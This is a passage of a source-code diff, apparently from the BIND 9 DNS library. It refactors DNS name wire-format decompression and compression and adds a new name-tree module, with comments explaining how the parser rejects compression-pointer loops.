-dns_name_fromwire(dns_name_t *name, isc_buffer_t *source,
-		  dns_decompress_t *dctx, unsigned int options,
-		  isc_buffer_t *target) {
-	unsigned char *cdata, *ndata;
-	unsigned int cused; /* Bytes of compressed name data used */
-	unsigned int nused, labels, n, nmax;
-	unsigned int current, new_current, biggest_pointer;
-	bool done;
-	fw_state state = fw_start;
-	unsigned int c;
-	unsigned char *offsets;
-	dns_offsets_t odata;
-	bool downcase;
-	bool seen_pointer;
-
+dns_name_fromwire(dns_name_t *const name, isc_buffer_t *const source,
+		  const dns_decompress_t dctx, isc_buffer_t *target) {
 	/*
-	 * Copy the possibly-compressed name at source into target,
-	 * decompressing it.  Loop prevention is performed by checking
-	 * the new pointer against biggest_pointer.
+	 * Copy the name at source into target, decompressing it.
+	 *
+	 *	*** WARNING ***
+	 *
+	 * dns_name_fromwire() deals with raw network data. An error in this
+	 * routine could result in the failure or hijacking of the server.
+	 *
+	 * The description of name compression in RFC 1035 section 4.1.4 is
+	 * subtle wrt certain edge cases. The first important sentence is:
+	 *
+	 * > In this scheme, an entire domain name or a list of labels at the
+	 * > end of a domain name is replaced with a pointer to a prior
+	 * > occurance of the same name.
+	 *
+	 * The key word is "prior". This says that compression pointers must
+	 * point strictly earlier in the message (before our "marker" variable),
+	 * which is enough to prevent DoS attacks due to compression loops.
+	 *
+	 * The next important sentence is:
+	 *
+	 * > If a domain name is contained in a part of the message subject to a
+	 * > length field (such as the RDATA section of an RR), and compression
+	 * > is used, the length of the compressed name is used in the length
+	 * > calculation, rather than the length of the expanded name.
+	 *
+	 * When decompressing, this means that the amount of the source buffer
+	 * that we consumed (which is checked wrt the container's length field)
+	 * is the length of the compressed name. A compressed name is defined as
+	 * a sequence of labels ending with the root label or a compression
+	 * pointer, that is, the segment of the name that dns_name_fromwire()
+	 * examines first.
+	 *
+	 * This matters when handling names that play dirty tricks, like:
+	 *
+	 *	+---+---+---+---+---+---+
+	 *	| 4 | 1 |'a'|192| 0 | 0 |
+	 *	+---+---+---+---+---+---+
+	 *
+	 * We start at octet 1. There is an ordinary single character label "a",
+	 * followed by a compression pointer that refers back to octet zero.
+	 * Here there is a label of length 4, which weirdly re-uses the octets
+	 * we already examined as the data for the label. It is followed by the
+	 * root label,
+	 *
+	 * The specification says that the compressed name ends after the first
+	 * zero octet (after the compression pointer) not the second zero octet,
+	 * even though the second octet is later in the message. This shows the
+	 * correct way to set our "consumed" variable.
 	 */
 
 	REQUIRE(VALID_NAME(name));
+	REQUIRE(BINDABLE(name));
 	REQUIRE((target != NULL && ISC_BUFFER_VALID(target)) ||
 		(target == NULL && ISC_BUFFER_VALID(name->buffer)));
 
-	downcase = ((options & DNS_NAME_DOWNCASE) != 0);
-
 	if (target == NULL && name->buffer != NULL) {
 		target = name->buffer;
 		isc_buffer_clear(target);
 	}
 
-	REQUIRE(dctx != NULL);
-	REQUIRE(BINDABLE(name));
+	uint8_t *const name_buf = isc_buffer_used(target);
+	const uint32_t name_max = ISC_MIN(DNS_NAME_MAXWIRE,
+					  isc_buffer_availablelength(target));
+	uint32_t name_len = 0;
+	MAKE_EMPTY(name); /* in case of failure */
 
+	dns_offsets_t odata;
+	uint8_t *offsets = NULL;
+	uint32_t labels = 0;
 	INIT_OFFSETS(name, offsets, odata);
 
 	/*
-	 * Make 'name' empty in case of failure.
-	 */
-	MAKE_EMPTY(name);
-
-	/*
-	 * Initialize things to make the compiler happy; they're not required.
-	 */
-	n = 0;
-	new_current = 0;
-
-	/*
-	 * Set up.
-	 */
-	labels = 0;
-	done = false;
-
-	ndata = isc_buffer_used(target);
-	nused = 0;
-	seen_pointer = false;
-
-	/*
-	 * Find the maximum number of uncompressed target name
-	 * bytes we are willing to generate.  This is the smaller
-	 * of the available target buffer length and the
-	 * maximum legal domain name length (255).
+	 * After chasing a compression pointer, these variables refer to the
+	 * source buffer as follows:
+	 *
+	 * sb --- mr --- cr --- st --- cd --- sm
+	 *
+	 * sb = source_buf (const)
+	 * mr = marker
+	 * cr = cursor
+	 * st = start (const)
+	 * cd = consumed
+	 * sm = source_max (const)
+	 *
+	 * The marker hops backwards for each pointer.
+	 * The cursor steps forwards for each label.
+	 * The amount of the source we consumed is set once.
 	 */
-	nmax = isc_buffer_availablelength(target);
-	if (nmax > DNS_NAME_MAXWIRE) {
-		nmax = DNS_NAME_MAXWIRE;
-	}
-
-	cdata = isc_buffer_current(source);
-	cused = 0;
-
-	current = source->current;
-	biggest_pointer = current;
+	const uint8_t *const source_buf = isc_buffer_base(source);
+	const uint8_t *const source_max = isc_buffer_used(source);
+	const uint8_t *const start = isc_buffer_current(source);
+	const uint8_t *marker = start;
+	const uint8_t *cursor = start;
+	const uint8_t *consumed = NULL;
 
 	/*
-	 * Note:  The following code is not optimized for speed, but
-	 * rather for correctness.  Speed will be addressed in the future.
+	 * One iteration per label.
 	 */
-
-	while (current < source->active && !done) {
-		c = *cdata++;
-		current++;
-		if (!seen_pointer) {
-			cused++;
-		}
-
-		switch (state) {
-		case fw_start:
-			if (c < 64) {
-				offsets[labels] = nused;
-				labels++;
-				if (nused + c + 1 > nmax) {
-					goto full;
-				}
-				nused += c + 1;
-				*ndata++ = c;
-				if (c == 0) {
-					done = true;
-				}
-				n = c;
-				state = fw_ordinary;
-			} else if (c >= 128 && c < 192) {
-				/*
-				 * 14 bit local compression pointer.
-				 * Local compression is no longer an
-				 * IETF draft.
-				 */
-				return (DNS_R_BADLABELTYPE);
-			} else if (c >= 192) {
-				/*
-				 * Ordinary 14-bit pointer.
-				 */
-				if ((dctx->allowed & DNS_COMPRESS_GLOBAL14) ==
-				    0) {
-					return (DNS_R_DISALLOWED);
-				}
-				new_current = c & 0x3F;
-				state = fw_newcurrent;
-			} else {
-				return (DNS_R_BADLABELTYPE);
-			}
-			break;
-		case fw_ordinary:
-			if (downcase) {
-				c = maptolower[c];
-			}
-			*ndata++ = c;
-			n--;
-			if (n == 0) {
-				state = fw_start;
+	while (cursor < source_max) {
+		const uint8_t label_len = *cursor++;
+		if (label_len <= DNS_NAME_LABELLEN) {
+			/*
+			 * Normal label: record its offset, and check bounds on
+			 * the name length, which also ensures we don't overrun
+			 * the offsets array. Don't touch any source bytes yet!
+			 * The source bounds check will happen when we loop.
+			 */
+			offsets[labels++] = name_len;
+			/* and then a step to the ri-i-i-i-i-ight */
+			cursor += label_len;
+			name_len += label_len + 1;
+			if (name_len > name_max) {
+				return (name_max == DNS_NAME_MAXWIRE
+						? DNS_R_NAMETOOLONG
+						: ISC_R_NOSPACE);
+			} else if (label_len == 0) {
+				goto root_label;
 			}
-			break;
-		case fw_newcurrent:
-			new_current *= 256;
-			new_current += c;
-			if (new_current >= biggest_pointer) {
+		} else if (label_len < 192) {
+			return (DNS_R_BADLABELTYPE);
+		} else if (!dns_decompress_getpermitted(dctx)) {
+			return (DNS_R_DISALLOWED);
+		} else if (cursor < source_max) {
+			/*
+			 * Compression pointer. Ensure it does not loop.
+			 *
+			 * Copy multiple labels in one go, to make the most of
+			 * memmove() performance. Start at the marker and finish
+			 * just before the pointer's hi+lo bytes, before the
+			 * cursor. Bounds were already checked.
+			 */
+			const uint32_t hi = label_len & 0x3F;
+			const uint32_t lo = *cursor++;
+			const uint8_t *pointer = source_buf + (256 * hi + lo);
+			if (pointer >= marker) {
 				return (DNS_R_BADPOINTER);
 			}
-			biggest_pointer = new_current;
-			current = new_current;
-			cdata = (unsigned char *)source->base + current;
-			seen_pointer = true;
-			state = fw_start;
-			break;
-		default:
-			FATAL_ERROR(__FILE__, __LINE__, "Unknown state %d",
-				    state);
-			/* Does not return. */
+			const uint32_t copy_len = (cursor - 2) - marker;
+			uint8_t *const dest = name_buf + name_len - copy_len;
+			memmove(dest, marker, copy_len);
+			consumed = consumed != NULL ? consumed : cursor;
+			/* it's just a jump to the left */
+			cursor = marker = pointer;
 		}
 	}
+	return (ISC_R_UNEXPECTEDEND);
+root_label:;
+	/*
+	 * Copy labels almost like we do for compression pointers,
+	 * from the marker up to and including the root label.
+	 */
+	const uint32_t copy_len = cursor - marker;
+	memmove(name_buf + name_len - copy_len, marker, copy_len);
+	consumed = consumed != NULL ? consumed : cursor;
+	isc_buffer_forward(source, consumed - start);
 
-	if (!done) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
-
-	name->ndata = (unsigned char *)target->base + target->used;
+	name->attributes.absolute = true;
+	name->ndata = name_buf;
 	name->labels = labels;
-	name->length = nused;
-	name->attributes |= DNS_NAMEATTR_ABSOLUTE;
-
-	isc_buffer_forward(source, cused);
-	isc_buffer_add(target, name->length);
+	name->length = name_len;
+	isc_buffer_add(target, name_len);
 
 	return (ISC_R_SUCCESS);
-
-full:
-	if (nmax == DNS_NAME_MAXWIRE) {
-		/*
-		 * The name did not fit even though we had a buffer
-		 * big enough to fit a maximum-length name.
-		 */
-		return (DNS_R_NAMETOOLONG);
-	} else {
-		/*
-		 * The name might fit if only the caller could give us a
-		 * big enough buffer.
-		 */
-		return (ISC_R_NOSPACE);
-	}
 }
 
 isc_result_t
 dns_name_towire(const dns_name_t *name, dns_compress_t *cctx,
-		isc_buffer_t *target) {
-	return (dns_name_towire2(name, cctx, target, NULL));
-}
-
-isc_result_t
-dns_name_towire2(const dns_name_t *name, dns_compress_t *cctx,
-		 isc_buffer_t *target, uint16_t *comp_offsetp) {
-	unsigned int methods;
-	uint16_t offset;
-	dns_name_t gp; /* Global compression prefix */
-	bool gf;       /* Global compression target found */
-	uint16_t go;   /* Global compression offset */
+		isc_buffer_t *target, uint16_t *name_coff) {
+	bool compress;
 	dns_offsets_t clo;
 	dns_name_t clname;
+	unsigned int here;
+	unsigned int prefix_length;
+	unsigned int suffix_coff;
 
 	/*
 	 * Convert 'name' into wire format, compressing it as specified by the
@@ -1951,104 +1663,64 @@ dns_name_towire2(const dns_name_t *name, dns_compress_t *cctx,
 	REQUIRE(cctx != NULL);
 	REQUIRE(ISC_BUFFER_VALID(target));
 
+	compress = !name->attributes.nocompress &&
+		   dns_compress_getpermitted(cctx);
+
 	/*
-	 * If this exact name was already rendered before, and the
-	 * offset of the previously rendered name is passed to us, write
-	 * a compression pointer directly.
+	 * Write a compression pointer directly if the caller passed us
+	 * a pointer to this name's offset that we saved previously.
 	 */
-	methods = dns_compress_getmethods(cctx);
-	if (comp_offsetp != NULL && *comp_offsetp < 0x4000 &&
-	    (name->attributes & DNS_NAMEATTR_NOCOMPRESS) == 0 &&
-	    (methods & DNS_COMPRESS_GLOBAL14) != 0)
-	{
-		if (ISC_UNLIKELY(target->length - target->used < 2)) {
+	if (compress && name_coff != NULL && *name_coff < 0x4000) {
+		if (isc_buffer_availablelength(target) < 2) {
 			return (ISC_R_NOSPACE);
 		}
-		offset = *comp_offsetp;
-		offset |= 0xc000;
-		isc_buffer_putuint16(target, offset);
+		isc_buffer_putuint16(target, *name_coff | 0xc000);
 		return (ISC_R_SUCCESS);
 	}
 
-	/*
-	 * If 'name' doesn't have an offsets table, make a clone which
-	 * has one.
-	 */
 	if (name->offsets == NULL) {
-#if defined(__clang__) && \
-	(__clang_major__ < 3 || (__clang_major__ == 3 && __clang_minor__ < 2))
-		memset(&clname, 0, sizeof(clname));
-#endif /* if defined(__clang__) && (__clang_major__ < 3 || (__clang_major__ == \
-	* 3                                                                    \
-	* && __clang_minor__ < 2)) */
 		DNS_NAME_INIT(&clname, clo);
 		dns_name_clone(name, &clname);
 		name = &clname;
 	}
-	DNS_NAME_INIT(&gp, NULL);
-
-	offset = target->used; /*XXX*/
-
-	if ((name->attributes & DNS_NAMEATTR_NOCOMPRESS) == 0 &&
-	    (methods & DNS_COMPRESS_GLOBAL14) != 0)
-	{
-		gf = dns_compress_findglobal(cctx, name, &gp, &go);
-	} else {
-		gf = false;
-	}
 
 	/*
-	 * If the offset is too high for 14 bit global compression, we're
-	 * out of luck.
+	 * Always add the name to the compression context; if compression
+	 * is off, reset the return values before writing the name.
 	 */
-	if (gf && ISC_UNLIKELY(go >= 0x4000)) {
-		gf = false;
+	prefix_length = name->length;
+	suffix_coff = 0;
+	dns_compress_name(cctx, target, name, &prefix_length, &suffix_coff);
+	if (!compress) {
+		prefix_length = name->length;
+		suffix_coff = 0;
 	}
 
 	/*
-	 * Will the compression pointer reduce the message size?
+	 * Return this name's compression offset for use next time, provided
+	 * it isn't too short for compression to help (i.e. it's the root)
 	 */
-	if (gf && (gp.length + 2) >= name->length) {
-		gf = false;
+	here = isc_buffer_usedlength(target);
+	if (name_coff != NULL && here < 0x4000 && prefix_length > 1) {
+		*name_coff = (uint16_t)here;
 	}
 
-	if (gf) {
-		if (ISC_UNLIKELY(target->length - target->used < gp.length)) {
-			return (ISC_R_NOSPACE);
-		}
-		if (gp.length != 0) {
-			unsigned char *base = target->base;
-			(void)memmove(base + target->used, gp.ndata,
-				      (size_t)gp.length);
-		}
-		isc_buffer_add(target, gp.length);
-		if (ISC_UNLIKELY(target->length - target->used < 2)) {
+	if (prefix_length > 0) {
+		if (isc_buffer_availablelength(target) < prefix_length) {
 			return (ISC_R_NOSPACE);
 		}
-		isc_buffer_putuint16(target, go | 0xc000);
-		if (gp.length != 0) {
-			dns_compress_add(cctx, name, &gp, offset);
-			if (comp_offsetp != NULL) {
-				*comp_offsetp = offset;
-			}
-		} else if (comp_offsetp != NULL) {
-			*comp_offsetp = go;
+		memmove(isc_buffer_used(target), name->ndata, prefix_length);
+		isc_buffer_add(target, prefix_length);
+	}
+
+	if (suffix_coff > 0) {
+		if (name_coff != NULL && prefix_length == 0) {
+			*name_coff = suffix_coff;
 		}
-	} else {
-		if (ISC_UNLIKELY(target->length - target->used < name->length))
-		{
+		if (isc_buffer_availablelength(target) < 2) {
 			return (ISC_R_NOSPACE);
 		}
-		if (name->length != 0) {
-			unsigned char *base = target->base;
-			(void)memmove(base + target->used, name->ndata,
-				      (size_t)name->length);
-		}
-		isc_buffer_add(target, name->length);
-		dns_compress_add(cctx, name, name, offset);
-		if (comp_offsetp != NULL) {
-			*comp_offsetp = offset;
-		}
+		isc_buffer_putuint16(target, suffix_coff | 0xc000);
 	}
 
 	return (ISC_R_SUCCESS);
@@ -2081,7 +1753,7 @@ dns_name_concatenate(const dns_name_t *prefix, const dns_name_t *suffix,
 	if (suffix == NULL || suffix->labels == 0) {
 		copy_suffix = false;
 	}
-	if (copy_prefix && (prefix->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
+	if (copy_prefix && prefix->attributes.absolute) {
 		absolute = true;
 		REQUIRE(!copy_suffix);
 	}
@@ -2127,7 +1799,7 @@ dns_name_concatenate(const dns_name_t *prefix, const dns_name_t *suffix,
 	}
 
 	if (copy_suffix) {
-		if ((suffix->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
+		if (suffix->attributes.absolute) {
 			absolute = true;
 		}
 		memmove(ndata + prefix_length, suffix->ndata, suffix->length);
@@ -2145,11 +1817,7 @@ dns_name_concatenate(const dns_name_t *prefix, const dns_name_t *suffix,
 	name->ndata = ndata;
 	name->labels = labels;
 	name->length = length;
-	if (absolute) {
-		name->attributes = DNS_NAMEATTR_ABSOLUTE;
-	} else {
-		name->attributes = 0;
-	}
+	name->attributes.absolute = absolute;
 
 	if (name->labels > 0 && name->offsets != NULL) {
 		INIT_OFFSETS(name, offsets, odata);
@@ -2211,10 +1879,8 @@ dns_name_dup(const dns_name_t *source, isc_mem_t *mctx, dns_name_t *target) {
 
 	target->length = source->length;
 	target->labels = source->labels;
-	target->attributes = DNS_NAMEATTR_DYNAMIC;
-	if ((source->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
-		target->attributes |= DNS_NAMEATTR_ABSOLUTE;
-	}
+	target->attributes = (struct dns_name_attrs){ .dynamic = true };
+	target->attributes.absolute = source->attributes.absolute;
 	if (target->offsets != NULL) {
 		if (source->offsets != NULL) {
 			memmove(target->offsets, source->offsets,
@@ -2250,11 +1916,10 @@ dns_name_dupwithoffsets(const dns_name_t *source, isc_mem_t *mctx,
 
 	target->length = source->length;
 	target->labels = source->labels;
-	target->attributes = DNS_NAMEATTR_DYNAMIC | DNS_NAMEATTR_DYNOFFSETS |
-			     DNS_NAMEATTR_READONLY;
-	if ((source->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
-		target->attributes |= DNS_NAMEATTR_ABSOLUTE;
-	}
+	target->attributes = (struct dns_name_attrs){ .dynamic = true,
+						      .dynoffsets = true,
+						      .readonly = true };
+	target->attributes.absolute = source->attributes.absolute;
 	target->offsets = target->ndata + source->length;
 	if (source->offsets != NULL) {
 		memmove(target->offsets, source->offsets, source->labels);
@@ -2274,10 +1939,10 @@ dns_name_free(dns_name_t *name, isc_mem_t *mctx) {
 	 */
 
 	REQUIRE(VALID_NAME(name));
-	REQUIRE((name->attributes & DNS_NAMEATTR_DYNAMIC) != 0);
+	REQUIRE(name->attributes.dynamic);
 
 	size = name->length;
-	if ((name->attributes & DNS_NAMEATTR_DYNOFFSETS) != 0) {
+	if (name->attributes.dynoffsets) {
 		size += name->labels;
 	}
 	isc_mem_put(mctx, name->ndata, size);
@@ -2299,12 +1964,6 @@ dns_name_digest(const dns_name_t *name, dns_digestfunc_t digest, void *arg) {
 	REQUIRE(VALID_NAME(name));
 	REQUIRE(digest != NULL);
 
-#if defined(__clang__) && \
-	(__clang_major__ < 3 || (__clang_major__ == 3 && __clang_minor__ < 2))
-	memset(&downname, 0, sizeof(downname));
-#endif /* if defined(__clang__) && (__clang_major__ < 3 || (__clang_major__ == \
-	* 3                                                                    \
-	* && __clang_minor__ < 2)) */
 	DNS_NAME_INIT(&downname, NULL);
 
 	isc_buffer_init(&buffer, data, sizeof(data));
@@ -2327,7 +1986,7 @@ dns_name_dynamic(const dns_name_t *name) {
 	 * Returns whether there is dynamic memory associated with this name.
 	 */
 
-	return ((name->attributes & DNS_NAMEATTR_DYNAMIC) != 0 ? true : false);
+	return (name->attributes.dynamic);
 }
 
 isc_result_t
@@ -2344,7 +2003,7 @@ dns_name_print(const dns_name_t *name, FILE *stream) {
 	REQUIRE(VALID_NAME(name));
 
 	isc_buffer_init(&b, t, sizeof(t));
-	result = dns_name_totext(name, false, &b);
+	result = dns_name_totext(name, 0, &b);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -2385,7 +2044,7 @@ dns_name_format(const dns_name_t *name, char *cp, unsigned int size) {
 	 * Leave room for null termination after buffer.
 	 */
 	isc_buffer_init(&buf, cp, size - 1);
-	result = dns_name_totext(name, true, &buf);
+	result = dns_name_totext(name, DNS_NAME_OMITFINALDOT, &buf);
 	if (result == ISC_R_SUCCESS) {
 		isc_buffer_putuint8(&buf, (uint8_t)'\0');
 	} else {
@@ -2408,7 +2067,7 @@ dns_name_tostring(const dns_name_t *name, char **target, isc_mem_t *mctx) {
 	REQUIRE(target != NULL && *target == NULL);
 
 	isc_buffer_init(&buf, txt, sizeof(txt));
-	result = dns_name_totext(name, false, &buf);
+	result = dns_name_totext(name, 0, &buf);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -2422,20 +2081,10 @@ dns_name_tostring(const dns_name_t *name, char **target, isc_mem_t *mctx) {
 	return (ISC_R_SUCCESS);
 }
 
-/*
- * dns_name_fromstring() -- convert directly from a string to a name,
- * allocating memory as needed
- */
 isc_result_t
-dns_name_fromstring(dns_name_t *target, const char *src, unsigned int options,
+dns_name_fromstring(dns_name_t *target, const char *src,
+		    const dns_name_t *origin, unsigned int options,
 		    isc_mem_t *mctx) {
-	return (dns_name_fromstring2(target, src, dns_rootname, options, mctx));
-}
-
-isc_result_t
-dns_name_fromstring2(dns_name_t *target, const char *src,
-		     const dns_name_t *origin, unsigned int options,
-		     isc_mem_t *mctx) {
 	isc_result_t result;
 	isc_buffer_t buf;
 	dns_fixedname_t fn;
@@ -2488,11 +2137,7 @@ dns_name_copy(const dns_name_t *source, dns_name_t *dest) {
 	dest->ndata = ndata;
 	dest->labels = source->labels;
 	dest->length = source->length;
-	if ((source->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
-		dest->attributes = DNS_NAMEATTR_ABSOLUTE;
-	} else {
-		dest->attributes = 0;
-	}
+	dest->attributes.absolute = source->attributes.absolute;
 
 	if (dest->labels > 0 && dest->offsets != NULL) {
 		if (source->offsets != NULL && source->labels != 0) {
@@ -2623,19 +2268,6 @@ dns_name_isula(const dns_name_t *name) {
 	return (false);
 }
 
-/*
- * Use a simple table as we don't want all the locale stuff
- * associated with ishexdigit().
- */
-const char ishex[256] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			  1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0,
-			  0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			  0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
-
 bool
 dns_name_istat(const dns_name_t *name) {
 	unsigned char len;
@@ -2660,8 +2292,8 @@ dns_name_istat(const dns_name_t *name) {
 		return (false);
 	}
 
-	if (ndata[0] != '_' || maptolower[ndata[1]] != 't' ||
-	    maptolower[ndata[2]] != 'a')
+	if (ndata[0] != '_' || isc_ascii_tolower(ndata[1]) != 't' ||
+	    isc_ascii_tolower(ndata[2]) != 'a')
 	{
 		return (false);
 	}
@@ -2670,8 +2302,9 @@ dns_name_istat(const dns_name_t *name) {
 
 	while (len > 0) {
 		INSIST(len >= 5);
-		if (ndata[0] != '-' || !ishex[ndata[1]] || !ishex[ndata[2]] ||
-		    !ishex[ndata[3]] || !ishex[ndata[4]])
+		if (ndata[0] != '-' || !isc_hex_char(ndata[1]) ||
+		    !isc_hex_char(ndata[2]) || !isc_hex_char(ndata[3]) ||
+		    !isc_hex_char(ndata[4]))
 		{
 			return (false);
 		}
@@ -2680,3 +2313,57 @@ dns_name_istat(const dns_name_t *name) {
 	}
 	return (true);
 }
+
+bool
+dns_name_isdnssvcb(const dns_name_t *name) {
+	unsigned char len, len1;
+	const unsigned char *ndata;
+
+	REQUIRE(VALID_NAME(name));
+
+	if (name->labels < 1 || name->length < 5) {
+		return (false);
+	}
+
+	ndata = name->ndata;
+	len = len1 = ndata[0];
+	INSIST(len <= name->length);
+	ndata++;
+
+	if (len < 2 || ndata[0] != '_') {
+		return (false);
+	}
+	if (isdigit(ndata[1]) && name->labels > 1) {
+		char buf[sizeof("65000")];
+		long port;
+		char *endp;
+
+		/*
+		 * Do we have a valid _port label?
+		 */
+		if (len > 6U || (ndata[1] == '0' && len != 2)) {
+			return (false);
+		}
+		memcpy(buf, ndata + 1, len - 1);
+		buf[len - 1] = 0;
+		port = strtol(buf, &endp, 10);
+		if (*endp != 0 || port < 0 || port > 0xffff) {
+			return (false);
+		}
+
+		/*
+		 * Move to next label.
+		 */
+		ndata += len;
+		INSIST(len1 + 1U < name->length);
+		len = *ndata;
+		INSIST(len + len1 + 1U <= name->length);
+		ndata++;
+	}
+
+	if (len == 4U && strncasecmp((const char *)ndata, "_dns", 4) == 0) {
+		return (true);
+	}
+
+	return (false);
+}
diff --git a/lib/dns/nametree.c b/lib/dns/nametree.c
new file mode 100644
index 0000000000..ec297ca6f2
--- /dev/null
+++ b/lib/dns/nametree.c
@@ -0,0 +1,342 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <stdbool.h>
+
+#include <isc/mem.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/nametree.h>
+#include <dns/qp.h>
+
+#define NAMETREE_MAGIC	   ISC_MAGIC('N', 'T', 'r', 'e')
+#define VALID_NAMETREE(kt) ISC_MAGIC_VALID(kt, NAMETREE_MAGIC)
+
+struct dns_nametree {
+	unsigned int magic;
+	isc_mem_t *mctx;
+	isc_refcount_t references;
+	dns_nametree_type_t type;
+	dns_qpmulti_t *table;
+	char name[64];
+};
+
+struct dns_ntnode {
+	isc_mem_t *mctx;
+	isc_refcount_t references;
+	dns_fixedname_t fn;
+	dns_name_t *name;
+	bool set;
+	uint8_t *bits;
+};
+
+/* QP trie methods */
+static void
+qp_attach(void *uctx, void *pval, uint32_t ival);
+static void
+qp_detach(void *uctx, void *pval, uint32_t ival);
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx, void *pval, uint32_t ival);
+static void
+qp_triename(void *uctx, char *buf, size_t size);
+
+static dns_qpmethods_t qpmethods = {
+	qp_attach,
+	qp_detach,
+	qp_makekey,
+	qp_triename,
+};
+
+static void
+destroy_ntnode(dns_ntnode_t *node) {
+	isc_refcount_destroy(&node->references);
+	if (node->bits != NULL) {
+		isc_mem_cput(node->mctx, node->bits, node->bits[0],
+			     sizeof(char));
+	}
+	isc_mem_putanddetach(&node->mctx, node, sizeof(dns_ntnode_t));
+}
+
+#if DNS_NAMETREE_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_ntnode, destroy_ntnode);
+#else
+ISC_REFCOUNT_IMPL(dns_ntnode, destroy_ntnode);
+#endif
+
+void
+dns_nametree_create(isc_mem_t *mctx, dns_nametree_type_t type, const char *name,
+		    dns_nametree_t **ntp) {
+	dns_nametree_t *nametree = NULL;
+
+	REQUIRE(ntp != NULL && *ntp == NULL);
+
+	nametree = isc_mem_get(mctx, sizeof(*nametree));
+	*nametree = (dns_nametree_t){
+		.magic = NAMETREE_MAGIC,
+		.type = type,
+	};
+	isc_mem_attach(mctx, &nametree->mctx);
+	isc_refcount_init(&nametree->references, 1);
+
+	if (name != NULL) {
+		strlcpy(nametree->name, name, sizeof(nametree->name));
+	}
+
+	dns_qpmulti_create(mctx, &qpmethods, nametree, &nametree->table);
+	*ntp = nametree;
+}
+
+static void
+destroy_nametree(dns_nametree_t *nametree) {
+	/* dns_qpread_t qpr; */
+	/* dns_qpiter_t iter; */
+	/* void *pval = NULL; */
+
+	nametree->magic = 0;
+
+	/* dns_qpmulti_query(nametree->table, &qpr); */
+	/* dns_qpiter_init(&qpr, &iter); */
+	/* while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) { */
+	/* 	dns_ntnode_t *n = pval; */
+	/* 	dns_ntnode_detach(&n); */
+	/* } */
+	/* dns_qpread_destroy(nametree->table, &qpr); */
+
+	dns_qpmulti_destroy(&nametree->table);
+	isc_refcount_destroy(&nametree->references);
+
+	isc_mem_putanddetach(&nametree->mctx, nametree, sizeof(*nametree));
+}
+
+#if DNS_NAMETREE_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_nametree, destroy_nametree);
+#else
+ISC_REFCOUNT_IMPL(dns_nametree, destroy_nametree);
+#endif
+
+static dns_ntnode_t *
+newnode(isc_mem_t *mctx, const dns_name_t *name) {
+	dns_ntnode_t *node = isc_mem_get(mctx, sizeof(*node));
+	*node = (dns_ntnode_t){ 0 };
+	isc_mem_attach(mctx, &node->mctx);
+	isc_refcount_init(&node->references, 1);
+
+	node->name = dns_fixedname_initname(&node->fn);
+	dns_name_copy(name, node->name);
+
+	return (node);
+}
+
+static bool
+matchbit(unsigned char *bits, uint32_t val) {
+	unsigned int len = val / 8 + 2;
+	unsigned int mask = 1 << (val % 8);
+
+	if (len <= bits[0] && (bits[len - 1] & mask) != 0) {
+		return (true);
+	}
+	return (false);
+}
+
+isc_result_t
+dns_nametree_add(dns_nametree_t *nametree, const dns_name_t *name,
+		 uint32_t value) {
+	isc_result_t result;
+	dns_qp_t *qp = NULL;
+	uint32_t size, pos, mask, count = 0;
+	dns_ntnode_t *old = NULL, *new = NULL;
+
+	REQUIRE(VALID_NAMETREE(nametree));
+	REQUIRE(name != NULL);
+
+	dns_qpmulti_write(nametree->table, &qp);
+
+	switch (nametree->type) {
+	case DNS_NAMETREE_BOOL:
+		new = newnode(nametree->mctx, name);
+		new->set = value;
+		break;
+
+	case DNS_NAMETREE_COUNT:
+		new = newnode(nametree->mctx, name);
+		new->set = true;
+		result = dns_qp_deletename(qp, name, (void **)&old, &count);
+		if (result == ISC_R_SUCCESS) {
+			count += 1;
+		}
+		break;
+
+	case DNS_NAMETREE_BITS:
+		result = dns_qp_getname(qp, name, (void **)&old, NULL);
+		if (result == ISC_R_SUCCESS && matchbit(old->bits, value)) {
+			goto out;
+		}
+
+		size = pos = value / 8 + 2;
+		mask = 1 << (value % 8);
+
+		if (old != NULL && old->bits[0] > pos) {
+			size = old->bits[0];
+		}
+
+		new = newnode(nametree->mctx, name);
+		new->bits = isc_mem_cget(nametree->mctx, size, sizeof(char));
+		if (result == ISC_R_SUCCESS) {
+			memmove(new->bits, old->bits, old->bits[0]);
+			result = dns_qp_deletename(qp, name, NULL, NULL);
+			INSIST(result == ISC_R_SUCCESS);
+		}
+
+		new->bits[pos - 1] |= mask;
+		new->bits[0] = size;
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	result = dns_qp_insert(qp, new, count);
+	/*
+	 * We detach the node here, so any dns_qp_deletename() will
